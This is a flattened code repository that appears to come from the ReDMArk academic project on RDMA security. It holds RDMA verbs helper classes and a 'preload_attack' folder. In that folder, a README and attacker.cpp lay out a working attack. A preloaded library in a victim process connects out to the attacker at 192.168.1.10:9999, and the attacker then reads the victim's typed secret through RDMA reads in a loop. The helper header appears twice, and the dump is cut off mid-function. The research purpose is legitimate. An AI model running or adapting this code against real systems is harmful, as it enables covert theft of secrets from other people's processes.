IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_READ | IBV_ACCESS_REMOTE_ATOMIC); 52 | } 53 | 54 | void dereg_mem(struct ibv_mr * mr){ 55 | ibv_dereg_mr(mr); 56 | } 57 | 58 | inline int poll_send_completion(struct ibv_wc* wc, int num = 1){ 59 | return ibv_poll_cq(this->qp->send_cq, num, wc); 60 | } 61 | 62 | inline int poll_recv_completion(struct ibv_wc* wc, int num = 1){ 63 | return ibv_poll_cq(this->qp->recv_cq, num, wc); 64 | } 65 | 66 | static inline int post_srq_recv(struct ibv_srq *srq, uint64_t wr_id, uint64_t local_addr=0ULL, uint32_t lkey=0, uint32_t length=0){ 67 | struct ibv_sge sge; 68 | 69 | sge.addr = local_addr; 70 | sge.length = length; 71 | sge.lkey = lkey; 72 | 73 | struct ibv_recv_wr wr, *bad; 74 | 75 | wr.wr_id = wr_id; 76 | wr.next = NULL; 77 | wr.sg_list = &sge; 78 | wr.num_sge = 1; 79 | 80 | return ibv_post_srq_recv(srq,&wr, &bad); 81 | } 82 | 83 | inline int post_recv(uint64_t wr_id, struct ibv_mr * mr){ 84 | return post_recv(wr_id, (uint64_t)mr->addr, mr->lkey, mr->length); 85 | } 86 | 87 | inline int post_recv(uint64_t wr_id, uint64_t local_addr=0ULL, uint32_t lkey=0, uint32_t length=0){ 88 | struct ibv_sge sge; 89 | 90 | sge.addr = local_addr; 91 | sge.length = length; 92 | sge.lkey = lkey; 93 | 94 | struct ibv_recv_wr wr, *bad; 95 | 96 | wr.wr_id = wr_id; 97 | wr.next = NULL; 98 | wr.sg_list = &sge; 99 | wr.num_sge = 1; 100 | 101 | return ibv_post_recv(qp, &wr, &bad); 102 | } 103 | 104 | inline int post_recv(struct ibv_recv_wr * wr){ 105 | struct ibv_recv_wr *bad; 106 | return ibv_post_recv(qp, wr, &bad); 107 | } 108 | 109 | inline int post_shared_recv(uint64_t wr_id, struct ibv_mr * mr){ 110 | return post_shared_recv(wr_id, (uint64_t)mr->addr, mr->lkey, mr->length); 111 | } 112 | 113 | inline int post_shared_recv(uint64_t wr_id, uint64_t local_addr=0ULL, uint32_t lkey=0, uint32_t length=0){ 114 | struct ibv_sge sge; 115 | 116 | sge.addr = local_addr; 117 | sge.length = length; 118 | sge.lkey = lkey; 119 | 120 | struct ibv_recv_wr wr, *bad; 121 | 122 | wr.wr_id = wr_id; 123 | wr.next = NULL; 124 | wr.sg_list = &sge; 125 | wr.num_sge = 1; 126 | 127 | return ibv_post_srq_recv(qp->srq, &wr, &bad); 128 | } 129 | 130 | inline int send_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint32_t length){ 131 | unsigned int send_flags = IBV_SEND_SIGNALED; 132 | 133 | if(length!=0 && length<=max_inline_data){ 134 | send_flags |= IBV_SEND_INLINE; 135 | } 136 | 137 | return two_sided( IBV_WR_SEND, send_flags, wr_id, 0,local_addr, lkey, length); 138 | } 139 | 140 | inline int send(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint32_t length){ 141 | unsigned int send_flags = 0; 142 | 143 | if(length!=0 && length<=max_inline_data){ 144 | send_flags |= IBV_SEND_INLINE; 145 | } 146 | return two_sided( IBV_WR_SEND, send_flags, wr_id, 0,local_addr, lkey, length); 147 | } 148 | 149 | 150 | inline int send_with_imm_signaled(uint64_t wr_id, uint32_t imm_data, uint64_t local_addr, uint32_t lkey, uint32_t length){ 151 | unsigned int send_flags = IBV_SEND_SIGNALED; 152 | 153 | if(length!=0 && length<=max_inline_data){ 154 | send_flags |= IBV_SEND_INLINE; 155 | } 156 | 157 | return two_sided( IBV_WR_SEND_WITH_IMM, send_flags, wr_id, imm_data,local_addr, lkey, length); 158 | } 159 | 160 | inline int send_with_imm(uint64_t wr_id, uint32_t imm_data, uint64_t local_addr, uint32_t lkey, uint32_t length){ 161 | unsigned int send_flags = 0; 162 | 163 | if(length!=0 && length<=max_inline_data){ 164 | send_flags |= IBV_SEND_INLINE; 165 | } 166 | return two_sided( IBV_WR_SEND_WITH_IMM, send_flags, wr_id, imm_data,local_addr, lkey, length); 167 | } 168 | 169 | inline int write_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length){ 170 | 171 | unsigned int send_flags = IBV_SEND_SIGNALED; 172 | 173 | if(length!=0 && length<=max_inline_data){ 174 | send_flags |= IBV_SEND_INLINE; 175 | } 176 | return one_sided(IBV_WR_RDMA_WRITE,send_flags,wr_id,0,local_addr,lkey,remote_addr,rkey,length); 177 | } 178 | 179 | 180 | inline int write(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length){ 181 | 182 | unsigned int send_flags = 0; 183 | 184 | if(length!=0 && length<=max_inline_data){ 185 | send_flags |= IBV_SEND_INLINE; 186 | } 187 | return one_sided(IBV_WR_RDMA_WRITE,send_flags,wr_id,0,local_addr,lkey,remote_addr,rkey,length); 188 | } 189 | 190 | inline int write_send_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length, uint32_t payload){ 191 | struct ibv_sge sge[2]; 192 | 193 | 194 | sge[0].addr = local_addr; 195 | sge[0].length = length; 196 | sge[0].lkey = lkey; 197 | struct ibv_send_wr wr[2], *bad; 198 | 199 | wr[0].wr_id = wr_id; 200 | wr[0].next = &wr[1]; 201 | wr[0].sg_list = &sge[0]; 202 | wr[0].num_sge = 1; 203 | wr[0].opcode = IBV_WR_RDMA_WRITE; 204 | 205 | wr[0].send_flags = (length<=max_inline_data ? IBV_SEND_INLINE : 0); 206 | 207 | wr[0].wr.rdma.remote_addr = remote_addr; 208 | wr[0].wr.rdma.rkey = rkey; 209 | 210 | sge[1].addr = local_addr; 211 | sge[1].length = payload; 212 | sge[1].lkey = lkey; 213 | 214 | wr[1].wr_id = wr_id; 215 | wr[1].next = NULL; 216 | wr[1].sg_list = &sge[1]; 217 | wr[1].num_sge = 1; 218 | wr[1].opcode = IBV_WR_SEND; 219 | wr[1].send_flags = IBV_SEND_SIGNALED | (payload<=max_inline_data ? IBV_SEND_INLINE : 0); 220 | 221 | 222 | return ibv_post_send(this->qp, wr, &bad); 223 | 224 | } 225 | 226 | 227 | inline int write_write_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length, uint32_t payload){ 228 | struct ibv_sge sge[2]; 229 | 230 | sge[0].addr = local_addr; 231 | sge[0].length = length; 232 | sge[0].lkey = lkey; 233 | struct ibv_send_wr wr[2], *bad; 234 | 235 | wr[0].wr_id = wr_id; 236 | wr[0].next = &wr[1]; 237 | wr[0].sg_list = &sge[0]; 238 | wr[0].num_sge = 1; 239 | wr[0].opcode = IBV_WR_RDMA_WRITE; 240 | 241 | wr[0].send_flags = (length<=max_inline_data ? IBV_SEND_INLINE : 0); ; 242 | 243 | wr[0].wr.rdma.remote_addr = remote_addr; 244 | wr[0].wr.rdma.rkey = rkey; 245 | 246 | sge[1].addr = local_addr; 247 | sge[1].length = payload; 248 | sge[1].lkey = lkey; 249 | 250 | wr[1].wr_id = wr_id; 251 | wr[1].next = NULL; 252 | wr[1].sg_list = &sge[1]; 253 | wr[1].num_sge = 1; 254 | wr[1].opcode = IBV_WR_RDMA_WRITE_WITH_IMM; 255 | wr[1].send_flags = IBV_SEND_SIGNALED | (payload<=max_inline_data ? IBV_SEND_INLINE : 0); 256 | 257 | wr[1].wr.rdma.remote_addr = remote_addr; 258 | wr[1].wr.rdma.rkey = rkey; 259 | return ibv_post_send(this->qp, wr, &bad); 260 | } 261 | 262 | inline int send_cas_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint64_t expected, uint64_t swap ){ 263 | 264 | struct ibv_sge sge; 265 | 266 | sge.addr = local_addr; 267 | sge.length = 8; 268 | sge.lkey = lkey; 269 | struct ibv_send_wr wr, *bad; 270 | 271 | wr.wr_id = wr_id; 272 | wr.next = NULL; 273 | wr.sg_list = &sge; 274 | wr.num_sge = 1; 275 | wr.opcode = IBV_WR_ATOMIC_CMP_AND_SWP; 276 | 277 | wr.send_flags = IBV_SEND_SIGNALED ; //| IBV_SEND_INLINE 278 | 279 | wr.wr.atomic.remote_addr = remote_addr; 280 | wr.wr.atomic.rkey = rkey; 281 | wr.wr.atomic.compare_add = expected; /* expected value in remote address */ 282 | wr.wr.atomic.swap = swap; /* the value that remote address will be assigned to */ 283 | 284 | return ibv_post_send(this->qp, &wr, &bad); 285 | 286 | } 287 | 288 | inline int write_with_imm_signaled(uint64_t wr_id, uint32_t imm_data, 289 | uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length){ 290 | 291 | unsigned int send_flags = IBV_SEND_SIGNALED; 292 | 293 | if(length!=0 && length<=max_inline_data){ 294 | send_flags |= IBV_SEND_INLINE; 295 | } 296 | return one_sided(IBV_WR_RDMA_WRITE_WITH_IMM,send_flags,wr_id,imm_data,local_addr,lkey,remote_addr,rkey,length); 297 | } 298 | 299 | 300 | inline int write_with_imm(uint64_t wr_id, uint32_t imm_data, 301 | uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length){ 302 | 303 | unsigned int send_flags = 0; 304 | 305 | if(length!=0 && length<=max_inline_data){ 306 | send_flags |= IBV_SEND_INLINE; 307 | } 308 | return one_sided(IBV_WR_RDMA_WRITE_WITH_IMM,send_flags,wr_id,imm_data,local_addr,lkey,remote_addr,rkey,length); 309 | } 310 | 311 | 312 | inline int read_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, 313 | uint32_t rkey, uint32_t length) 314 | { 315 | unsigned int send_flags = IBV_SEND_SIGNALED; 316 | 317 | return one_sided(IBV_WR_RDMA_READ,send_flags,wr_id,0,local_addr,lkey,remote_addr,rkey,length); 318 | } 319 | 320 | inline int read(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length) 321 | { 322 | unsigned int send_flags = 0; 323 | 324 | return one_sided(IBV_WR_RDMA_READ,send_flags,wr_id,0,local_addr,lkey,remote_addr,rkey,length); 325 | } 326 | 327 | 328 | inline int one_sided(enum ibv_wr_opcode opcode, unsigned int send_flags, uint64_t wr_id, uint32_t imm_data, 329 | uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length) 330 | { 331 | struct ibv_sge sge; 332 | 333 | sge.addr = local_addr; 334 | sge.length = length; 335 | sge.lkey = lkey; 336 | struct ibv_send_wr wr, *bad; 337 | 338 | wr.wr_id = wr_id; 339 | wr.next = NULL; 340 | wr.sg_list = &sge; 341 | wr.num_sge = 1; 342 | wr.opcode = opcode; 343 | 344 | wr.send_flags = send_flags; 345 | wr.imm_data = imm_data; 346 | 347 | 348 | wr.wr.rdma.remote_addr = remote_addr; 349 | wr.wr.rdma.rkey = rkey; 350 | 351 | return ibv_post_send(this->qp, &wr, &bad); 352 | } 353 | 354 | 355 | inline int two_sided(enum ibv_wr_opcode opcode, unsigned int send_flags, uint64_t wr_id, uint32_t imm_data, 356 | uint64_t local_addr, uint32_t lkey, uint32_t length) 357 | { 358 | struct ibv_sge sge; 359 | 360 | sge.addr = local_addr; 361 | sge.length = length; 362 | sge.lkey = lkey ; 363 | struct ibv_send_wr wr, *bad; 364 | 365 | wr.wr_id = wr_id; 366 | wr.next = NULL; 367 | wr.sg_list = &sge; 368 | wr.num_sge = 1; 369 | wr.opcode = opcode; 370 | 371 | wr.send_flags = send_flags; 372 | wr.imm_data = imm_data; 373 | 374 | return ibv_post_send(this->qp, &wr, &bad); 375 | } 376 | 377 | inline int post_send(struct ibv_send_wr *wr) 378 | { 379 | struct ibv_send_wr *bad; 380 | return ibv_post_send(this->qp, wr, &bad); 381 | } 382 | 383 | 384 | }; 385 | -------------------------------------------------------------------------------- /paper/redmark.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/spcl/redmark/78964936c579cbe14c02f67060df1a5beb631082/paper/redmark.pdf -------------------------------------------------------------------------------- /preload_attack/Makefile: -------------------------------------------------------------------------------- 1 | APPS = victim attacker 2 | 3 | LDFLAGS = -libverbs -lpthread #-ldl 4 | CFLAGS += -Wall -std=c++11 -I./ 5 | 6 | all: CFLAGS += -O2 7 | all: ${APPS} 8 | 9 | clean: 10 | $(foreach fname,${APPS}, rm -f ${fname}) 11 | 12 | victim: clean 13 | g++ victim.cpp $(CFLAGS) $(LDFLAGS) -lrdmacm -L./ -o victim 14 | 15 | attacker: clean 16 | g++ attacker.cpp $(CFLAGS) $(LDFLAGS) -lrdmacm -o attacker 17 | 18 | 19 | debug: CFLAGS += -DDEBUG -g -O0 20 | debug: ${APPS} 21 | 22 | .DELETE_ON_ERROR: 23 | .PHONY: all clean 24 | -------------------------------------------------------------------------------- /preload_attack/README.md: -------------------------------------------------------------------------------- 1 | # (A6) Facilitating Attacks using RDMA 2 | 3 | 4 | The attack shows if an attacker has the privilege to preload a library to a victim’s application, the attacker can misuse this 5 | ability to *inject code* that establishes an RDMA connection to the attacker’s application. 6 | The attacker waits for a connection from the victim, and then the attacker silently reads the victim's secret using RDMA reads. 7 | 8 | 9 | ## Requirements 10 | * GCC >= 4.9 with C++11 features 11 | * rdma-core library, or equivalent RDMA verbs library 12 | * RDMA-capable network devices must have assigned IP addresses 13 | * ODP-capable RDMA device for ODP usage 14 | 15 | ## Usage 16 | 17 | To compile the code simply run `make`. 18 | Note, to run the attack, we require manually edit `victim.cpp` to specify the IP address of the attacker application. 19 | 20 | To perform an attack, the attacker should be lunched using `./attacker -a `, where `` is the IP address of the attacker. 21 | Then the malware of the victim code should be modified to establish the connection with the provided IP address. 22 | For that, modify the IP address in `victim.cpp`: 23 | ``` 24 | // should be IP and port of the attacker 25 | ret = rdma_getaddrinfo("192.168.1.10","9999", &hints, &addrinfo); 26 | ``` 27 | Then the victim can be launched (`./victim`) on any node within the same network as the attacker. The victim application will invite you to type a secret. The secret will be fetched by the attacker using RDMA reads. Note, that the malware uses predictability of malloc (V4). 28 | 29 | 30 | Basic usage example 31 | ``` 32 | make 33 | ./attacker -a 192.168.1.10 34 | ./victim 35 | ``` 36 | 37 | ## On-demand paging 38 | To use ODP capabilities, we require to manually modify the preload malware of the victim. 39 | For that, you should modify the following lines of `victim.cpp`: 40 | ``` 41 | // change to true to use implicit ODP. 42 | bool useodp = false; 43 | ``` -------------------------------------------------------------------------------- /preload_attack/attacker.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * An attacker code that listens for a connection from a victim. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #include "verbsEP.hpp" 12 | #include "connectRDMA.hpp" 13 | #include 14 | #include "cxxopts.hpp" 15 | #include 16 | 17 | cxxopts::ParseResult 18 | parse(int argc, char* argv[]) 19 | { 20 | cxxopts::Options options(argv[0], "Attacker software."); 21 | options 22 | .positional_help("[optional args]") 23 | .show_positional_help(); 24 | 25 | try 26 | { 27 | 28 | options.add_options() 29 | ("a,address", "IP address of the attacker", cxxopts::value(), "IP") 30 | ("help", "Print help") 31 | ; 32 | 33 | auto result = options.parse(argc, argv); 34 | 35 | if (result.count("help")) 36 | { 37 | std::cout << options.help({""}) << std::endl; 38 | exit(0); 39 | } 40 | 41 | if (result.count("address") == 0) 42 | { 43 | std::cout << options.help({""}) << std::endl; 44 | exit(0); 45 | } 46 | 47 | return result; 48 | 49 | } catch (const cxxopts::OptionException& e) 50 | { 51 | std::cout << "error parsing options: " << e.what() << std::endl; 52 | std::cout << options.help({""}) << std::endl; 53 | exit(1); 54 | } 55 | } 56 | 57 | int main(int argc, char* argv[]){ 58 | 59 | auto allparams = parse(argc,argv); 60 | std::string ip = allparams["address"].as(); // "192.168.1.20"; .c_str() 61 | int port = 9999; 62 | 63 | printf("Server will be created at IP:port %s:%d\n",const_cast(ip.c_str()),port); 64 | printf("Do not forget to modify victim's code to have the same IP:port\n"); 65 | 66 | ServerRDMA * server = new ServerRDMA(const_cast(ip.c_str()),port); 67 | struct ibv_qp_init_attr attr; 68 | struct rdma_conn_param conn_param; 69 | 70 | 71 | memset(&attr, 0, sizeof(attr)); 72 | attr.cap.max_send_wr = 1; 73 | attr.cap.max_recv_wr = 5; 74 | attr.cap.max_send_sge = 1; 75 | attr.cap.max_recv_sge = 1; 76 | attr.cap.max_inline_data = 0; 77 | attr.qp_type = IBV_QPT_RC; 78 | 79 | memset(&conn_param, 0 , sizeof(conn_param)); 80 | conn_param.responder_resources = 2; 81 | conn_param.initiator_depth = 2; 82 | conn_param.retry_count = 3; 83 | conn_param.rnr_retry_count = 3; 84 | 85 | struct ibv_pd *pd = server->create_pd(); 86 | 87 | 88 | 89 | VerbsEP* ep = server->acceptEP(&attr,&conn_param,pd); 90 | 91 | 92 | char* ptr = (char*)malloc(4096); 93 | struct ibv_mr * mr = ep->reg_mem(ptr,4096); 94 | 95 | ep->post_recv(0, mr); 96 | 97 | struct ibv_wc wc; 98 | while( ep->poll_recv_completion(&wc) == 0){ 99 | 100 | } 101 | printf("Received memory information from a victim\n"); 102 | 103 | 104 | struct ibv_sge* sges = (struct ibv_sge*)ptr; 105 | 106 | struct ibv_sge sge = sges[0]; 107 | 108 | printf("Victim's secret should be at: %lu rkey %u \n",sge.addr ,sge.lkey); 109 | 110 | 111 | while(true){ 112 | int ret = ep->read_signaled(0, (uint64_t)ptr, mr->lkey, sge.addr, sge.lkey, 128); 113 | assert(ret==0 && "Failed to issue an RDMA read."); 114 | while( ep->poll_send_completion(&wc) == 0){ 115 | 116 | } 117 | printf("[%d]client secret : %s\n", wc.status, ptr ); 118 | std::this_thread::sleep_for(std::chrono::milliseconds(5000)); 119 | } 120 | 121 | return 0; 122 | } 123 | 124 | 125 | 126 | 127 | -------------------------------------------------------------------------------- /preload_attack/connectRDMA.hpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * A set of helper functions for working with RDMA. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #pragma once 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include "verbsEP.hpp" 22 | 23 | 24 | 25 | struct ibv_device *ctx_find_dev(const char *ib_devname) { 26 | int num_of_device; 27 | struct ibv_device **dev_list; 28 | struct ibv_device *ib_dev = NULL; 29 | 30 | dev_list = ibv_get_device_list(&num_of_device); 31 | 32 | if (num_of_device <= 0) { 33 | fprintf(stderr, " Did not detect devices \n"); 34 | fprintf(stderr, " If device exists, check if driver is up\n"); 35 | return NULL; 36 | } 37 | 38 | if (!ib_devname) { 39 | ib_dev = dev_list[0]; 40 | if (!ib_dev) { 41 | fprintf(stderr, "No IB devices found\n"); 42 | exit(1); 43 | } 44 | } else { 45 | for (; (ib_dev = *dev_list); ++dev_list) 46 | if (!strcmp(ibv_get_device_name(ib_dev), ib_devname)) break; 47 | if (!ib_dev) fprintf(stderr, "IB device %s not found\n", ib_devname); 48 | } 49 | return ib_dev; 50 | } 51 | 52 | 53 | class ServerRDMA{ 54 | 55 | struct rdma_event_channel *cm_channel; 56 | struct rdma_cm_id *listen_id = NULL; 57 | //struct ibv_context *ctx; 58 | 59 | public: 60 | ServerRDMA(char* ip, int port){ 61 | int ret; 62 | struct rdma_addrinfo hints; 63 | struct rdma_addrinfo *addrinfo; 64 | 65 | 66 | memset(&hints, 0, sizeof hints); 67 | hints.ai_flags = RAI_PASSIVE; 68 | hints.ai_port_space = RDMA_PS_TCP; 69 | 70 | char strport[80]; 71 | sprintf(strport, "%d", port); 72 | 73 | ret = rdma_getaddrinfo(ip, strport, &hints, &addrinfo); 74 | if (ret) { 75 | perror("rdma_getaddrinfo\n"); 76 | exit(1); 77 | } 78 | 79 | ret = rdma_create_ep(&listen_id, addrinfo, NULL, NULL); 80 | if (ret) { 81 | perror("rdma_create_ep\n"); 82 | exit(1); 83 | } 84 | 85 | rdma_freeaddrinfo(addrinfo); 86 | 87 | ret = rdma_listen(listen_id, 2); 88 | if (ret) { 89 | perror("rdma_listen"); 90 | exit(1); 91 | } 92 | 93 | } 94 | 95 | int get_listen_fd() 96 | { 97 | 98 | assert(this->listen_id->channel!=NULL); 99 | int options = fcntl(this->listen_id->channel->fd, F_GETFL, 0); 100 | 101 | if (fcntl(this->listen_id->channel->fd, F_SETFL, options | O_NONBLOCK)) { 102 | perror("[RDMA_COM] cannot set server_client to non-blocking mode"); 103 | exit(1); 104 | return 0; 105 | } 106 | 107 | return this->listen_id->channel->fd; 108 | } 109 | 110 | struct ibv_pd * create_pd(){ 111 | return ibv_alloc_pd(listen_id->verbs); 112 | } 113 | 114 | 115 | struct ibv_srq* create_srq(struct ibv_pd * pd, uint32_t max_wr, uint32_t max_sge=1){ 116 | 117 | struct ibv_srq_init_attr attr; 118 | memset(&attr, 0, sizeof attr); 119 | attr.attr.max_wr = max_wr; 120 | attr.attr.max_sge = max_sge; 121 | 122 | 123 | return ibv_create_srq(pd, &attr); 124 | } 125 | 126 | struct ibv_cq *create_cq(uint32_t max_wr, struct ibv_comp_channel *channel = NULL){ 127 | return ibv_create_cq(listen_id->verbs, max_wr, NULL,channel, 0); 128 | } 129 | 130 | 131 | VerbsEP* acceptEP(struct ibv_qp_init_attr *attr, struct rdma_conn_param *conn_param, struct ibv_pd* pd = NULL){ 132 | int ret; 133 | struct rdma_cm_id *id; 134 | attr->qp_type = IBV_QPT_RC; 135 | struct rdma_cm_event *event; 136 | struct rdma_event_channel * cm_channel = listen_id->channel; 137 | 138 | ret = rdma_get_cm_event(cm_channel, &event); 139 | if(event->event != RDMA_CM_EVENT_CONNECT_REQUEST){ 140 | printf("is not RDMA_CM_EVENT_CONNECT_REQUEST\n"); 141 | } 142 | id = event->id; 143 | rdma_ack_cm_event(event); 144 | ret = rdma_create_qp(id, pd, attr); 145 | if (ret) { 146 | perror("rdma_create_qp"); 147 | return NULL; 148 | } 149 | ret = rdma_accept(id, conn_param); 150 | if (ret) { 151 | perror("rdma_accept"); 152 | return NULL; 153 | } 154 | 155 | return new VerbsEP(id, id->qp, attr->cap.max_inline_data, attr->cap.max_send_wr, attr->cap.max_recv_wr ); 156 | } 157 | 158 | }; 159 | 160 | 161 | 162 | class ClientRDMA{ 163 | 164 | struct rdma_addrinfo *addrinfo; 165 | 166 | public: 167 | ClientRDMA(char* ip, int port){ 168 | int ret; 169 | struct rdma_addrinfo hints; 170 | 171 | memset(&hints, 0, sizeof hints); 172 | hints.ai_port_space = RDMA_PS_TCP; 173 | 174 | char strport[80]; 175 | sprintf(strport, "%d", port); 176 | 177 | ret = rdma_getaddrinfo(ip, strport, &hints, &addrinfo); 178 | if (ret) { 179 | perror("rdma_getaddrinfo\n"); 180 | exit(1); 181 | } 182 | 183 | } 184 | 185 | ~ClientRDMA(){ 186 | rdma_freeaddrinfo(addrinfo); 187 | } 188 | 189 | 190 | VerbsEP* connectEP(struct ibv_qp_init_attr *attr, struct rdma_conn_param *conn_param, struct ibv_pd* pd = NULL){ 191 | int ret; 192 | struct rdma_cm_id *id; 193 | 194 | attr->qp_type = IBV_QPT_RC; 195 | 196 | ret = rdma_create_ep(&id, this->addrinfo, NULL, NULL); 197 | //ret = rdma_create_ep(&id, this->addrinfo, pd, attr); 198 | if (ret) { 199 | perror("rdma_create_ep"); 200 | return NULL; 201 | } 202 | 203 | 204 | ret = rdma_create_qp(id, pd, attr); 205 | if (ret) { 206 | perror("rdma_create_qp"); 207 | return NULL; 208 | } 209 | 210 | ret = rdma_connect(id, conn_param); 211 | if (ret) { 212 | perror("rdma_connect"); 213 | return NULL; 214 | } 215 | 216 | return new VerbsEP(id,id->qp, attr->cap.max_inline_data, attr->cap.max_send_wr, attr->cap.max_recv_wr ); 217 | } 218 | 219 | }; 220 | -------------------------------------------------------------------------------- /preload_attack/verbsEP.hpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * A set of helper functions for working with RDMA. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #pragma once 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | 21 | class VerbsEP{ 22 | 23 | public: 24 | struct rdma_cm_id* const id; 25 | struct ibv_qp * const qp; 26 | struct ibv_pd * const pd; 27 | const uint32_t max_inline_data; 28 | 29 | const uint32_t max_send_size; 30 | const uint32_t max_recv_size; 31 | 32 | VerbsEP(struct rdma_cm_id* id, struct ibv_qp *qp, uint32_t max_inline_data,uint32_t max_send_size,uint32_t max_recv_size): 33 | id(id),qp(qp), pd(qp->pd), max_inline_data(0),max_send_size(max_send_size),max_recv_size(max_recv_size) 34 | { 35 | // empty 36 | } 37 | 38 | ~VerbsEP(){ 39 | // empty 40 | } 41 | 42 | uint32_t get_qp_num() const{ 43 | return qp->qp_num; 44 | } 45 | 46 | struct ibv_mr * reg_mem(void *buf, uint32_t size){ 47 | return ibv_reg_mr(this->pd, buf, size, IBV_ACCESS_REMOTE_WRITE | IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_READ); 48 | } 49 | 50 | struct ibv_mr * reg_mem_with_atomic(void *buf, uint32_t size){ 51 | return ibv_reg_mr(this->pd, buf, size, IBV_ACCESS_REMOTE_WRITE | IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_READ | IBV_ACCESS_REMOTE_ATOMIC); 52 | } 53 | 54 | void dereg_mem(struct ibv_mr * mr){ 55 | ibv_dereg_mr(mr); 56 | } 57 | 58 | inline int poll_send_completion(struct ibv_wc* wc, int num = 1){ 59 | return ibv_poll_cq(this->qp->send_cq, num, wc); 60 | } 61 | 62 | inline int poll_recv_completion(struct ibv_wc* wc, int num = 1){ 63 | return ibv_poll_cq(this->qp->recv_cq, num, wc); 64 | } 65 | 66 | static inline int post_srq_recv(struct ibv_srq *srq, uint64_t wr_id, uint64_t local_addr=0ULL, uint32_t lkey=0, uint32_t length=0){ 67 | struct ibv_sge sge; 68 | 69 | sge.addr = local_addr; 70 | sge.length = length; 71 | sge.lkey = lkey; 72 | 73 | struct ibv_recv_wr wr, *bad; 74 | 75 | wr.wr_id = wr_id; 76 | wr.next = NULL; 77 | wr.sg_list = &sge; 78 | wr.num_sge = 1; 79 | 80 | return ibv_post_srq_recv(srq,&wr, &bad); 81 | } 82 | 83 | inline int post_recv(uint64_t wr_id, struct ibv_mr * mr){ 84 | return post_recv(wr_id, (uint64_t)mr->addr, mr->lkey, mr->length); 85 | } 86 | 87 | inline int post_recv(uint64_t wr_id, uint64_t local_addr=0ULL, uint32_t lkey=0, uint32_t length=0){ 88 | struct ibv_sge sge; 89 | 90 | sge.addr = local_addr; 91 | sge.length = length; 92 | sge.lkey = lkey; 93 | 94 | struct ibv_recv_wr wr, *bad; 95 | 96 | wr.wr_id = wr_id; 97 | wr.next = NULL; 98 | wr.sg_list = &sge; 99 | wr.num_sge = 1; 100 | 101 | return ibv_post_recv(qp, &wr, &bad); 102 | } 103 | 104 | inline int post_recv(struct ibv_recv_wr * wr){ 105 | struct ibv_recv_wr *bad; 106 | return ibv_post_recv(qp, wr, &bad); 107 | } 108 | 109 | inline int post_shared_recv(uint64_t wr_id, struct ibv_mr * mr){ 110 | return post_shared_recv(wr_id, (uint64_t)mr->addr, mr->lkey, mr->length); 111 | } 112 | 113 | inline int post_shared_recv(uint64_t wr_id, uint64_t local_addr=0ULL, uint32_t lkey=0, uint32_t length=0){ 114 | struct ibv_sge sge; 115 | 116 | sge.addr = local_addr; 117 | sge.length = length; 118 | sge.lkey = lkey; 119 | 120 | struct ibv_recv_wr wr, *bad; 121 | 122 | wr.wr_id = wr_id; 123 | wr.next = NULL; 124 | wr.sg_list = &sge; 125 | wr.num_sge = 1; 126 | 127 | return ibv_post_srq_recv(qp->srq, &wr, &bad); 128 | } 129 | 130 | inline int send_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint32_t length){ 131 | unsigned int send_flags = IBV_SEND_SIGNALED; 132 | 133 | if(length!=0 && length<=max_inline_data){ 134 | send_flags |= IBV_SEND_INLINE; 135 | } 136 | 137 | return two_sided( IBV_WR_SEND, send_flags, wr_id, 0,local_addr, lkey, length); 138 | } 139 | 140 | inline int send(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint32_t length){ 141 | unsigned int send_flags = 0; 142 | 143 | if(length!=0 && length<=max_inline_data){ 144 | send_flags |= IBV_SEND_INLINE; 145 | } 146 | return two_sided( IBV_WR_SEND, send_flags, wr_id, 0,local_addr, lkey, length); 147 | } 148 | 149 | 150 | inline int send_with_imm_signaled(uint64_t wr_id, uint32_t imm_data, uint64_t local_addr, uint32_t lkey, uint32_t length){ 151 | unsigned int send_flags = IBV_SEND_SIGNALED; 152 | 153 | if(length!=0 && length<=max_inline_data){ 154 | send_flags |= IBV_SEND_INLINE; 155 | } 156 | 157 | return two_sided( IBV_WR_SEND_WITH_IMM, send_flags, wr_id, imm_data,local_addr, lkey, length); 158 | } 159 | 160 | inline int send_with_imm(uint64_t wr_id, uint32_t imm_data, uint64_t local_addr, uint32_t lkey, uint32_t length){ 161 | unsigned int send_flags = 0; 162 | 163 | if(length!=0 && length<=max_inline_data){ 164 | send_flags |= 